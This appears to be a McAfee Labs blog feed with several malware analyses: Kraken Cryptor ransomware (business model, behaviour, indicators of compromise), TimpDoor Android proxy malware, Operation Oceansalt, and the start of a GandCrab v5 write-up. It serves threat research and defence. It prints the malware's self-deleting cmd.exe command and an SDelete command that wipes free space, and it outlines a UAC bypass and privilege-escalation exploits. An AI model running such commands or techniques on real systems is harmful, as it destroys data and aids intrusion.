  • Encryption speed faster than ever
  • Uses a hybrid combination of encryption algorithms (AES, RC4, Salsa20) for secure and fast encryption with a unique key for each file
  • Enables the use of a network resource and adds an expansion bypass mode for encrypting all files on non-OS disks
  • Is impossible to recover data using a recovery center or tools without payment
  • Added antidebug, antiforensic methods

Kraken works with an affiliate program, as do ransomware families such as GandCrab. This business scheme is often referred to a Ransomware-as-a-Service (RaaS).

Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable from antimalware products. According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service. The service will decrypt the file and resend it to the affiliate member to forward the victim. After the victim pays the full ransom, the affiliate member sends a percentage of the received payment to the RaaS developers to get a decryptor key, which is forwarded to the victim. This system ensures the affiliate pays a percentage to the affiliate program and does not simply pocket the full amount. The cut for the developers offers them a relatively safe way of making a profit without exposing themselves to the risk of spreading ransomware.

We have observed that the profit percentage for the developers has decreased from 25% in Version 1 to 20% in Version 2. The developers might have done this to attract more affiliates. To enter the program, potential affiliates must complete a form and pay $50 to be accepted.

In the Kraken forum post it states that the ransomware cannot be used in the following countries:

  • Armenia
  • Azerbaijan
  • Belarus
  • Estonia
  • Georgia
  • Iran
  • Kazakhstan
  • Kyrgyzstan
  • Latvia
  • Lithuania
  • Moldova
  • Russia
  • Tajikistan
  • Turkmenistan
  • Ukraine
  • Uzbekistan

On October 21, Kraken’s authors released Version 2 of the affiliate program, reflecting the ransomware’s popularity and a fresh release. At the same time, the authors published a map showing the distribution of their victims:

Note that some of the countries on the developers’ exclusion list have infections.

Video promotions

The first public release of Kraken Cryptor was Version 1.2; the latest is Version 2.07. To promote the ransomware, the authors created a video showing its capabilities to potential customers. We analyzed the metadata of the video and believe the authors created it along with the first version, released in August.

In the video, the authors show how fast Kraken can encrypt data on the system:

Kraken ransomware in action.

Actor indications

The Advanced Threat Research team and Recorded Future’s Insikt group analyzed all the forum messages posted by ThisWasKraken. Based on the Russian language used in the posts, we believe ThisWasKraken is neither a native Russian nor English speaker. To make forum posts in Russian, the actor likely uses an automated translation service, suggested by the awkward phrasing indicative of such a service. In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling. English spelling errors are also noticeable in the ransom note.

ThisWasKraken is likely part of a team that is not directly involved in the development of the ransomware. The actor’s role is customer facing, through the Jabber account thiswaskraken@exploit[.]im. Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at teamxsupport@protonmail[.]com.

Payments

Bitcoin is the only currency the affiliate program uses. Insikt Group identified several wallets associated with the operation. Kraken’s developers appear to have choose BitcoinPenguin, an online gambling site as the primary money laundering conduit. It is very uncommon for criminal actors, and specifically ransomware operators, to bypass traditional cryptocurrency exchangers when laundering stolen funds. One of the decisive factors for the unusual choice was likely BitcoinPenguin’s lack of requiring identity verification by its members, allowing anyone to maintain an anonymous cryptocurrency wallet.

Although in response to regulatory demands cryptocurrency exchangers continue to stiffen their registration rules, online crypto casinos do not have to follow the same know-your-customer guidelines, providing a convenient loophole for all kinds of money launderers.

Bitcoin transactions associated with Kraken analyzed with the Crystal blockchain tool. The parent Bitcoin wallet is 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH.

Kraken Cryptor at work

The ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals suite, to wipe files and make file recovery harder.

The Kraken Cryptor infection scheme.

The ransomware has implemented a user account control (UAC) bypass using the Windows Event Viewer. This bypass technique is used by other malware families and is quite effective for executing malware.

The technique is well explained in an article by blogger enigma0x3.

We analyzed an early subset of Kraken ransomware samples and determined they were still in the testing phase, adding and removing options. The ransomware has implemented a “protection” to delete itself during the infection phase:

“C:\Windows\System32\cmd.exe” /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S “C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe”

This step is to prevent researchers and endpoint protections from catching the file on an infected machine.

Kraken encrypts user files with a random name and drops the ransom note demanding the victim to pay to recover them. McAfee recommends not paying ransoms because doing so contributes to the development of more ransomware families.

Kraken’s ransom note.

Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems.

Kraken delivered by the exploit kit bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method.

The binary delivered by the exploit kit.

The authors of the binary forgot during the compilation of the first versions to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor:

The early versions contained the following path:

C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb.

Later versions dropped the PDB path together with the Kraken loader.

Using SysInternals tools

One unique feature of this ransomware family is the use of SDelete. Kraken uses a .bat file to perform certain operations, making file recovery much more challenging:

Kraken downloads SDelete from the Sysinternals website, adds the registry key accepting the EULA to avoid the pop-up, and executes it with the following arguments:

sdelete.exe -c -z C

The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option and finally rebooting the system after 300 seconds.

Netguid comparison

The earlier versions of Kraken were delivered by a loader before it moved to a direct execution method. The loader we examined contained a specific netguid. With this, we found additional samples of the Kraken loader on VirusTotal:

Not only the loader had a specific netguid but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples:

Comparing versions

Kraken uses a configuration file in every version to set the variables for the ransomware. This file is easily extracted for additional analysis.

Based on the config file we have discovered nine versions of Kraken:

  • 1.2
  • 1.3
  • 1.5
  • 1.5.2
  • 1.5.3
  • 1.6
  • 2.0
  • 2.0.4
  • 2.0.7

By extracting the config files from all the versions, we built the following overview of features. (The √ means the feature is present.)

All the versions we examined mostly contain the same options, changing only in some of them the antivirtual protection and antiforensic capabilities. The latest version, Kraken 2.0.7, changed its configuration scheme. We will cover that later in this article.

Other differences in Kraken’s config file include the list of countries excluded from encryption. The standouts are Brazil and Syria, which were not named in the original forum advertisement.

Having an exclusion list is a common method of cybercriminals to avoid prosecution. Brazil’s addition to the list in Version 1.5 suggests the involvement of a Brazilian affiliate. The following table shows the exclusion list by country and version. (The √ means the country appears on the list.)

All the Kraken releases have excluded the same countries, except for Brazil, Iran, and Syria.

Regarding Syria: We believe that the Kraken actors have had the same change of heart as the actors behind GandCrab, who recently released decryption keys for Syrian victims after a tweet claimed they had no money to pay the ransoms.

 

GandCrab’s change of heart regarding Syrian victims.

Version 2.0.7

The most recent version we examined comes with a different configuration scheme:

This release has more options. We expect this malware will be more configurable than other active versions.

APIs and statistics

One of the new features is a public API to track the number of victims:

Public API to track the number of victims. Source: Bleeping Computer.

Another API is a hidden service to track certain statistics:

 

The Onion URL can be found easily in the binary:

The endpoint and browser Kraken uses is hardcoded in the config file:

Kraken gathers the following information from every infection:

  • Status
  • Operating system
  • Username
  • Hardware ID
  • IP address
  • Country
  • City
  • Language
  • HDCount
  • HDType
  • HDName
  • HDFull
  • HDFree
  • Privilege
  • Operate
  • Beta

Kraken infrastructure

In Versions 1.2 through 2.04 Kraken contacts blasze[.]tk to download additional files. The site has Cloudflare protection to mitigate against DDoS attacks:

The domain is not accessible from many countries:

 

McAfee coverage

McAfee detects this threat with the following signatures:

  • Artemis!09D3BD874D9A
  • Artemis!475A697872CA
  • Artemis!71F510C40FE5
  • Artemis!99829D5483EF
  • Artemis!CE7606CFDFC0
  • Artemis!F1EE32E471A4
  • RDN/Generic.dx
  • RDN/Generic.tfr
  • RDN/Ransom

Indicators of compromise

Kraken loader hashes

  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 53a28d3d29e655deca6702c98e71a9bd52a5a6de05524234ab362d27bd71a543

Kraken ransomware samples hashes

  • 047de76c965b9cf4a8671185d889438e4b6150326802e87470d20a3390aad304
  • 0b6cd05bee398bac0000e9d7032713ae2de6b85fe1455d6847578e9c5462391f
  • 159b392ec2c052a26d6718848338011a3733c870f4bf324863901ec9fbbbd635
  • 180406f298e45f66e205bdfb2fa3d8f6ead046feb57714698bdc665548bebc95
  • 1d7251ca0b60231a7dbdbb52c28709a6533dcfc4a339f4512955897c7bb1b009
  • 2467d42a4bdf74147ea14d99ef51774fec993eaef3c11694125a3ced09e85256
  • 2b2607c435b76bca395e4ef4e2a1cae13fe0f56cabfc54ee3327a402c4ee6d6f
  • 2f5dec0a8e1da5f23b818d48efb0b9b7065023d67c617a78cd8b14808a79c0dc
  • 469f89209d7d8cc0188654e3734fba13766b6d9723028b4d9a8523100642a28a
  • 4f13652f5ec4455614f222d0c67a05bb01b814d134a42584c3f4aa77adbe03d0
  • 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd
  • 61396539d9392ae08b2c9836dd19a58efb541cf0381ea6fef28637aae63084ed
  • 67db0f639d5f4c021efa9c2b1db3b3bc85b2db920859dbded5fed661cc81282d
  • 713afc925973a421ff9328ff02c80d38575fbadaf27a1db0063b3a83813e8484
  • 7260452e6bd05725074ba92b9dc8734aec12bbf4bbaacd43eea9c8bbe591be27
  • 7747587608db6c10464777bd26e1abf02b858ef0643ad9db8134e0f727c0cd66
  • 7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7
  • 7fb597d2c8ed8726b9a982b2a84d1c9cc2af65345588d42dd50c8cebeee03dff
  • 85c75ac7af9cac6e2d6253d7df7a0c0eec6bdd71120218caeaf684da65b786be
  • 8a0320f3fee187040b1922c6e8bdf5d6bacf94e01b90d65e0c93f01e2abd1e0e
  • 97ed99508e2fae0866ad0d5c86932b4df2486da59fc2568fb9a7a4ac0ecf414d
  • 9c88c66f44eba049dcf45204315aaf8ba1e660822f9e97aec51b1c305f5fdf14
  • a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215
  • b639e26a0f0354515870ee167ae46fdd9698c2f0d405ad8838e2e024eb282e39
  • cae152c9d91c26c1b052c82642670dfb343ce00004fe0ca5d9ebb4560c64703b
  • d316611df4b9b68d71a04ca517dbd94615a77a87f7a8c270d100ef9729a4e122
  • e39d5f664217bda0d95d126cff58ba707d623a58a750b53c580d447581f15af6
  • f7179fcff00c0ec909b615c34e5a5c145fedf8d9a09ed04376988699be9cc6d5
  • f95e74edc7ca3f09b582a7734ad7a547faeb0ccc9a3370ec58b9a27a1a6fd4a7
  • fea3023f06d0903a05096f1c9fc7113bea50b9923a3c024a14120337531180cd
  • ff556442e2cc274a4a84ab968006350baf9897fffd680312c02825cc53b9f455

Authentihash

  • 83b7ed1a0468394fc9661d07b9ad1b787f5e5a85512ae613f2a04a7442f21587
  • b821eb60f212f58b4525807235f711f11e2ef285630604534c103df74e3da81a
  • 0c4e0359c47a38e55d427894cc0657f2f73136cde9763bbafae37c916cebdd2a

Imphash

  • f34d5f2d4577ed6d9ceec516c1f5a744

Jabber

  • thiswaskraken@exploit[.]im

Email addresses found in the binaries and configuration files

  • BM-2cUEkUQXNffBg89VwtZi4twYiMomAFzy6o@bitmessage(.)ch
  • BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage(.)ch
  • nikolatesla@cock(.)li
  • nikolateslaproton@protonmail(.)com
  • oemfnwdk838r@mailfence(.)com
  • onionhelp@memeware(.)net
  • powerhacker03@hotmail(.)com
  • shfwhr2ddwejwkej@tutanota(.)com
  • shortmangnet@420blaze(.)it
  • teamxsupport@protonmail[.]com

Bitcoin address

  • 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH

PDBs found in the loader samples

  • C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb

Associated Filenames

  • C:\ProgramData\Safe.exe C:\ProgramData\EventLog.txt
  • # How to Decrypt Files.html
  • Kraken.exe
  • Krakenc.exe
  • Release.bat
  • <random>.bat
  • Sdelete.exe
  • Sdelete64.exe
  • <random>.exe
  • CabXXXX.exe
  • TarXXXX.exe
  • SUPERAntiSpywares.exe
  • KrakenCryptor.exe
  • 73a94429b321dfc_QiMAWc2K2W.exe
  • auService.exe
  • file.exe
  • bbdefac4e59207._exe
  • Build.exe

Ransomware demo version

  • https://www76.zippyshare.com/v/5fMpcbdo/file[.]html

Kraken Unique Key

MITRE ATT&CK™ techniques

  • Data compressed
  • Email collection
  • File and directory
  • File deletion
  • Hooking
  • Kernel modules and extensions
  • Modify registry
  • Process injection
  • Query registry
  • Remote system
  • Security software
  • Service execution
  • System information
  • System time

Yara rules

The McAfee Advanced Threat Research team created Yara rules to detect the Kraken ransomware. The rules are available on our Github repository.

 

The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/feed/ 0
Android/TimpDoor Turns Mobile Devices Into Hidden Proxies https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/#respond Wed, 24 Oct 2018 13:00:23 +0000 https://securingtomorrow.mcafee.com/?p=92110 The McAfee Mobile Research team recently found an active phishing campaign using text messages (SMS) that tricks users into downloading and installing a fake voice-message app which allows cybercriminals to use infected devices as network proxies without users’ knowledge. If the fake application is installed, a background service starts a Socks proxy that redirects all […]

The post Android/TimpDoor Turns Mobile Devices Into Hidden Proxies appeared first on McAfee Blogs.

]]>
The McAfee Mobile Research team recently found an active phishing campaign using text messages (SMS) that tricks users into downloading and installing a fake voice-message app which allows cybercriminals to use infected devices as network proxies without users’ knowledge. If the fake application is installed, a background service starts a Socks proxy that redirects all network traffic from a third-party server via an encrypted connection through a secure shell tunnel—allowing potential access to internal networks and bypassing network security mechanisms such as firewalls and network monitors. McAfee Mobile Security detects this malware as Android/TimpDoor.

Devices running TimpDoor could serve as mobile backdoors for stealthy access to corporate and home networks because the malicious traffic and payload are encrypted. Worse, a network of compromised devices could also be used for more profitable purposes such as sending spam and phishing emails, performing ad click fraud, or launching distributed denial-of-service attacks.

Based on our analysis of 26 malicious APK files found on the main distribution server, the earliest TimpDoor variant has been available since March, with the latest APK from the end of August. According to our telemetry data, these apps have infected at least 5,000 devices. The malicious apps have been distributed via an active phishing campaign via SMS in the United States since at least the end of March. McAfee notified the unwitting hosts of the phishing domains and the malware distribution server; at the time of writing this post we have confirmed that they are no longer active.

Campaign targets North America

Since at least the end of March users in the United States have reported suspicious text messages informing them that they have two voice messages to review and tricking them into clicking a URL to hear them:

Figure 1. User reporting a text that required downloading a fake voice app. Source 800notes.com.

Figure 2. An August 9 text. Source: findwhocallsyou.com.

Figure 3. An August 26 text. Source: 800notes.com.

If the user clicks on one of these links in a mobile device, the browser displays a fake web page that pretends to be from a popular classified advertisement website and asks the user to install an application to listen to the voice messages:

Figure 4. A fake website asking the user to download a voice app.

In addition to the link that provides the malicious APK, the fake site includes detailed instructions on how to disable “Unknown Sources” to install the app that was downloaded outside Google Play.

Fake voice app

When the user clicks on “Download Voice App,” the file VoiceApp.apk is downloaded from a remote server. If the victim follows the instructions, the following screens appear to make the app look legitimate:

Figure 5. Fake voice app initial screens.

The preceding screens are displayed only if the Android version of the infected device is 7.1 or later (API Level 25). If the Android version is earlier, the app skips the initial screens and displays the main fake interface to listen to the “messages”:

Figure 6. The main interface of the fake voice messages app.

Everything on the main screen is fake. The Recents, Saved, and Archive icons have no functionality. The only buttons that work play the fake audio files. The duration of the voice messages does not correspond with the length of the audio files and the phone numbers are fake, present in the resources of the app.

Once the user listens to the fake messages and closes the app, the icon is hidden from the home screen to make it difficult to remove. Meanwhile, it starts a service in the background without user’s knowledge:

Figure 7. Service running in the background.

Socks proxy over SSH

As soon as the service starts, the malware gathers device information: device ID, brand, model, OS version, mobile carrier, connection type, and public/local IP address. To gather the public IP address information, TimpDoor uses a free geolocation service to obtain the data (country, region, city, latitude, longitude, public IP address, and ISP) in JSON format. In case the HTTP request fails, the malware make an HTTP request to the webpage getIP.php of the main control server that provides the value “public_ip.”

Once the device information is collected, TimpDoor starts a secure shell (SSH) connection to the control server to get the assigned remote port by sending the device ID. This port will be later used for remote port forwarding with the compromised device acting as a local Socks proxy server. In addition to starting the proxy server through an SSH tunnel, TimpDoor establishes mechanisms to keep the SSH connection alive such as monitoring changes in the network connectivity and setting up an alarm to constantly check the established SSH tunnel:

Figure 8. An execution thread checking changes in connectivity and making sure the SSH tunnel is running.

To ensure the SSH tunnel is up, TimpDoor executes the method updateStatus, which sends the previously collected device information and local/public IP address data to the control server via SSH.

Mobile malware distribution server

By checking the IP address 199.192.19[.]18, which hosted VoiceApp.apk, we found more APK files in the directory US. This likely stands for United States, considering that the fake phone numbers in the voice app are in the country and the messages are sent from US phone numbers:

Figure 9. APK files in the “US” folder of the main malware distribution server.

According to the “Last modified” dates on the server, the oldest APK in the folder is chainmail.apk (March 12) while the newest is VoiceApp.apk (August 27) suggesting the campaign has run for at least five months and is likely still active.

We can divide the APK files into two groups by size (5.1MB and 3.1MB). The main difference between them is that the oldest use an HTTP proxy (LittleProxy) while the newest (July and August) use a Socks proxy (MicroSocks), which allows the routing of all traffic for any kind of network protocol (not only HTTP)TTp on any port. Other notable differences are the package name, control server URLs, and the value of appVersion in the updateStatus method—ranging from 1.1.0 to 1.4.0.

In addition to the US folder we also found a CA folder, which could stand for Canada.

Figure 10. The “CA” folder on the distribution server.

Checking the files in the CA folder we found that VoiceApp.apk and relevanbest.apk are the same file with appVersion 1.4.0 (Socks proxy server). Octarineiads.apk is version 1.1.0, with an HTTP proxy.

TimpDoor vs MilkyDoor

TimpDoor is not the first malware that turns Android devices into mobile proxies to forward network traffic from a control server using a Socks proxy though an SSH tunnel. In April 2017 researchers discovered MilkyDoor, an apparent successor of DressCode, which was found a year earlier. Both threats were distributed as Trojanized apps in Google Play. DressCode installs only a Socks proxy server on the infected device; MilkyDoor also protects that connection to bypass network security restrictions using remote port forwarding via SSH, just as TimpDoor does. However, there are some relevant differences between TimpDoor and MilkyDoor:

  • Distribution: Instead of being part of a Trojanized app in Google Play, TimpDoor uses a completely fake voice app distributed via text message
  • SSH connection: While MilkyDoor uploads the device and IP address information to a control server to receive the connection details, TimpDoor already has the information in its code. TimpDoor uses the information to get the remote port to perform dynamic port forwarding and to periodically send updated device data.
  • Pure proxy functionality: MilkyDoor was apparently an adware integrator in early versions of the SDK and later added backdoor functionality. TimpDoor’s sole purpose (at least in this campaign) is to keep the SSH tunnel open and the proxy server running in the background without the user’s consent.

MilkyDoor seems to be a more complete SDK, with adware and downloader functionality. TimpDoor has only basic proxy functionality, first using an HTTP proxy and later Socks.

Conclusion

TimpDoor is the latest example of Android malware that turns devices into mobile backdoors—potentially allowing cybercriminals encrypted access to internal networks, which represents a great risk to companies and their systems. The versions found on the distribution server and the simple proxy functionality implemented in them shows that this threat is probably still under development. We expect it will evolve into new variants.

Although this threat has not been seen on Google Play, this SMS phishing campaign distributing TimpDoor shows that cybercriminals are still using traditional phishing techniques to trick users into installing malicious applications.

McAfee Mobile Security detects this threat as Android/TimpDoor. To protect yourselves from this and similar threats, employ security software on your mobile devices and do not install apps from unknown sources.

The post Android/TimpDoor Turns Mobile Devices Into Hidden Proxies appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/feed/ 0
‘Operation Oceansalt’ Delivers Wave After Wave https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/#respond Thu, 18 Oct 2018 04:01:03 +0000 https://securingtomorrow.mcafee.com/?p=91999 In the latest findings from the McAfee Advanced Threat Research team, we examine an adversary that was not content with a single campaign, but launched five distinct waves adapted to their separate targets.

The post ‘Operation Oceansalt’ Delivers Wave After Wave appeared first on McAfee Blogs.

]]>
A wall eight feet high with three strands of barbed wire is considered sufficient to deter a determined intruder, at least according to the advice offered by the CISSP professional certification. Although physical controls can be part of a multifaceted defense, an electronic attack affords the adversary time to develop the necessary tools to bypass any logical wall set before them. In the latest findings from the McAfee Advanced Threat Research team, we examine an adversary that was not content with a single campaign, but launched five distinct waves adapted to their separate targets. The new report “Operation Oceansalt Attacks South Korea, U.S., and Canada with Source Code from Chinese Hacker Group” analyzes these waves and their victims, primarily in South Korea but with a few in the United States and Canada.

Although one reaction is to marvel at the level of innovation displayed by the threat actor(s), we are not discussing five new, never-before-seen malware variants—rather the reuse of code from implants seen eight years prior. The Oceansalt malware uses large parts of code from the Seasalt implant, which was linked to the Chinese hacking group Comment Crew. The level of reuse is graphically depicted below:

Code Visualization of Recent Oceansalt with Older Seasalt

Oceansalt, 2018.

Seasalt, 2010.

Who is Behind the Oceansalt Attack?

Originally taking the title APT1, the Comment Crew was seen as the threat actor conducting offensive cyber operations against the United States almost 10 years before. The obvious suspect is Comment Crew and, although this may seem a logical conclusion, we have not seen any activity from this group since they were initially exposed. Is it possible that this group has returned and, if so, why target South Korea?

It is possible that the source code developed by Comment Crew has now been used by another adversary. The code to our knowledge, however, has never been made public. Alternatively, this could be a “false flag” operation to suggest that we are seeing the re-emergence of Comment Crew. Creating false flags is a common practice.

What Really Matters

It is likely that reactions to this research will focus on debating the identity of the threat actor. Although this question is of great interest, answering it will require more than the technical evidence that private industry can provide. These limitations are frustrating. However, we can focus on the indicators of compromise presented in this report to detect, correct, and protect our systems, regardless of the source of these attacks.

Perhaps more important is the possible return of a previously dormant threat actor and, further, why should this campaign occur now? Regardless of whether this is a false flag operation to suggest the rebirth of Comment Crew, the impact of the attack is unknown. However, one thing is certain. Threat actors have a wealth of code available to leverage new campaigns, as previous research from the Advanced Threat Research team has revealed. In this case we see that collaboration not within a group but potentially with another threat actor—offering up considerably more malicious assets. We often talk about partnerships within the private and public sector as the key to tackling the cybersecurity challenges facing society. The bad actors are not putting these initiatives on PowerPoint slides and marketing material; they are demonstrating that partnerships can suit their ends, too.

The post ‘Operation Oceansalt’ Delivers Wave After Wave appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/feed/ 0
Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/#respond Wed, 10 Oct 2018 23:29:14 +0000 https://securingtomorrow.mcafee.com/?p=91881 The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect […]

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]>
The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect customers from known variants of this threat.

The GandCrab authors have moved quickly to improve the code and have added comments to provoke the security community, law enforcement agencies, and the NoMoreRansom organization. Despite the agile approach of the developers, the coding is not professional and bugs usually remain in the malware (even in Version 5.0.2), but the speed of change is impressive and increases the difficulty of combating it.

The group behind GandCrab has achieved cult status in underground forums; the authors are undoubtedly confident and have strong marketing skills, but flawless programming is not one of their strengths.

Underground alliances

On September 27, the GandCrab crew announced Version 5 with the same showmanship as its earlier versions. GandCrab ransomware has gained a lot of attention from security researchers as well as the underground. The developers market the affiliate program like a “members-only club” and new affiliates are lining up to join, in the hope of making easy money through the large-scale ransomware extortion scheme.

The prospect of making money not only attracts new affiliates, but also leads to the formation of new alliances between GandCrab and other criminal services that strengthen the malware’s supply and distribution networks. One of these alliances became obvious during Version 4, in which the ransomware started being distributed through the new Fallout exploit kit. This alliance was again emphasized in the GandCrab Version 5 announcement, as the GandCrab crew openly endorsed FalloutEK.

The GandCrab Version 5 announcement.

With Version 5, yet another alliance with a criminal service has been formed. The malware crypter service NTCrypt announced that it is partnering with the GandCrab crew. A crypter service provides malware obfuscation to evade antimalware security products.

The NTCrypt-GandCrab partnership announcement offering a special price for GandCrab users.

The partnership between GandCrab and NTCrypt was established in a novel way. At the end of September, the GandCrab crew started a “crypt competition” on a popular underground forum to find a new crypter service they could partner with. NTCrypt applied and eventually won the competition.

The “crypt competition” announcement.

This novel approach emphasizes once more the cult status GandCrab has in the underground community. For a criminal business such as GandCrab, building these alliances makes perfect sense: They increase the ease of operation and a trusted affiliate network minimizes their risk exposure by allowing them to avoid less-trusted suppliers and distributors.

For the security community it is worrisome to see that GandCrab’s aggressive marketing strategy seems to be paying off. It is generating a strong influx of criminal interest and allows the GandCrab crew to form alliances with other essential services in the cybercriminal supply chain.

GandCrab overview

GandCrab Version 5 uses several mechanisms to infect systems. The following diagram shows an overview of GandCrab’s behavior.

GandCrab Version 5 Infection

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others such as FalloutEK
  • PowerShell scripts or within the memory of the PowerShell process (the later mainly in Version 5.0.2)
  • Botnets such as Phorpiex (an old botnet that spread not only this malware but many others)

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily Dash (or Bitcoin in some older versions), because it is complex to track and quick to receive the payment.

The malware is usually, but not always, packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 5.0

This version has two releases. The first works only on Windows 7 or later due to a big mistake in the compiling time. Version 5.0 carries two exploits that try to elevate privileges. It checks the version of the operating system and the TokenIntegrityLevel class of the process. If the SID Subauthority is SECURITY_MANDATORY_LOW_RID (0x1000), it tries to execute the exploits if it also passed one previous check of a mutex value.

One release is the exploit released in August on Twitter and GitHub by the hacker “SandboxEscaper.” The original can be found at this link. The Twitter handle for this hacker is https://twitter.com/sandboxescaper.

This exploit tries to use a problem with the Task System in Windows when the operating system improperly handles calls to an advanced local procedure call.

The GandCrab authors claim there is no CVE of this exploit, but that is incorrect. It falls under CVE-2018-8440. This exploit can affect versions Windows 7 through Windows 10 Server. More information about this exploit can be found at this link.

In the first release of Version 5.0, the malware authors wrote the code exploit using normal calls to the functions. Thus at compiling time the binary has the IAT filled with the DLL needed for some calls. This DLL does not exist in Windows Vista and XP, so the malware fails to run in these systems, showing an error.

Import of xpsprint.dll that will not run on Windows XP or Vista.

The exploit using direct calls.

This release published an HTML file after encrypting the user’s files, but this file was faulty because it did not always have the information needed to decrypt the user’s files.

The second release uses dynamic calls and obfuscates the strings of the exploit, as shown in the previous image. (Earlier they were in plain text.)

The exploit with dynamic calls and obfuscated strings.

The second exploit is covered under CVE-2018-8120, which in Windows 7, Windows Server 2008 R2 and Windows Server 2008 allows an elevation of privileges from the kernel. Thanks to a faulty object in the token of the System process, changing this token in the malware results in executing the malware with System privileges.

Executing the exploit CVE-2018-8120.

You can read more about this exploit on mcafee.com.

The malware checks the version of the operating system and type of user and whether it can get the token elevation information of its own process before employing the use of exploits. In some cases, it fails to infect. For example, in Windows XP the second release of Version 5 runs but does not encrypt the files. (We thank fellow researcher Yassine Lemmou, who shared this information with us.)

We and Lemmou know where the problem is in Version 5.0.2. A few changes to the registry could make the malware run correctly, but we do not want to help the malware authors fix their product. Even though GandCrab’s authors quickly repair mistakes as they are pointed out, they still fail to find some of the basic errors by themselves. (McAfee has had no contact with GandCrab’s developers.)

The second release writes a random extension of five letters instead of using the normal .CRAB or .KRAB extension seen in previous versions. The malware keeps this information as binary data in a new registry entry in the subkey “ext_data\data” and in the value entry of “ext.”

A new registry entry to hold the random extension.

The malware tries creating this new entry in the root key of HKEY_LOCAL_MACHINE. If it cannot—for example, because the user does not have admin rights—it places the entry in the root key HKEY_CURRENT_USER. This entry is deleted in some samples after the files have been encrypted.

Version 5.0.1

This version fixed some internal bugs in the malware but made no other notable changes.

Version 5.0.2

This version changes the random extension length from 5 to 10 characters and fixes some internal bugs. Other bugs remain, however, meaning files cannot always be encrypted.

The latest

This section is based on the latest version of the malware (Version 5.0.2 on October 4), though some elements appear in earlier releases of Version 5. Starting with this version, the malware uses two exploits to try to elevate privileges in the system.

The first exploit uses a dynamic call to the function IsWoW64Process to detect whether the operating system is running in 32 or 64 bits.

The dynamic call to IsWoW64Process with obfuscated strings.

Depending on the result, the malware has two embedded DLLs, encrypted with a simple operation XOR 0x18.

Decrypting the DLL to load with the exploit and fix the header.

The malware authors use a clever trick with fuzzing to avoid detection: The first two bytes of the DLL are trash, something that is later fixed, as we see in the preceding image.

After decryption and loading the exploit, this DLL creates a mutex in the system and some pipes to communicate with the main malware. The malware creates a pipe that the DLL reads later and prepares strings as the mutex string for the DLL.

Preparing the string for the DLL.

The DLL has dummy strings for these strings.

Creating the new mutex and relaunching the process.

This mutex is checked when the malware starts. The function returns a 1 or 0, depending on whether it can open the mutex. Later, this result is checked and if the mutex can be opened the malware will avoid checking the version and will not use the two new exploits to elevate privileges.

Opening the new mutex to check if there is a need to run the exploits.

As with GandCrab Version 4.x and later, the malware later checks the version. If it is Vista or later, it tries to get the “TokenIntegrityLevel” class and relaunch the binary to elevate its privilege with a call to “ShellExecuteExW” with the “runas” application. If the system is Windows XP, the code will avoid that and continue in its normal flow.

This mutex is never created for the main malware; it is created for the DLL loaded using the exploit. To better understand this explanation, this IDA snippet may help:

Explaining the check of mutex and exploits.

